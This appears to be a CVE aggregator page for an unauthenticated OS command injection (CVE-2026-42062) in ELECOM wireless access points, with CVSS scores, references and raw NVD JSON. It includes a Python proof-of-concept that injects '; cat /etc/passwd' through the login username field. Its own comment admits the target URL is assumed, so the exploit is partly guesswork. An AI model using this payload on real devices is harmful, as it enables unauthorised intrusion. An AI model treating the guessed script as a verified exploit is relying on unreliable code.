CVE-2026-42062

Description

ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体受影响型号请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_poc(target_ip):
    """
    PoC for CVE-2026-42062: OS Command Injection in ELECOM Wireless LAN AP.
    This script sends a malicious request to the username parameter.
    """
    # Target URL (Assumed based on vulnerability description)
    url = f"http://{target_ip}/login.cgi"
    
    # Malicious payload to execute 'cat /etc/passwd' (example)
    # Using semicolon to chain commands
    payload = "; cat /etc/passwd"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    
    # Data payload with injection
    data = {
        "username": payload,
        "password": "password"
    }
    
    try:
        print(f"[*] Sending payload to {target_ip}...")
        response = requests.post(url, data=data, headers=headers, timeout=10)
        
        # Check if command execution indicators are present
        if "root:" in response.text or "bin:" in response.text:
            print("[+] Vulnerability confirmed! Command execution successful.")
            print(f"[+] Response snippet:\n{response.text[:500]}")
        else:
            print("[-] Vulnerability not confirmed or exploit failed.")
            print(f"[-] Response:\n{response.text[:500]}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with actual target IP
    exploit_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42062
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42062
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42062/
[4] VulDB https://vuldb.com/cve/CVE-2026-42062
[5] https://jvn.jp/en/jp/JVN03037325/
[6] https://www.elecom.co.jp/news/security/20260512-01/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42062", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:43.570", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN03037325/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20260512-01/", "source": "[email protected]"}]}}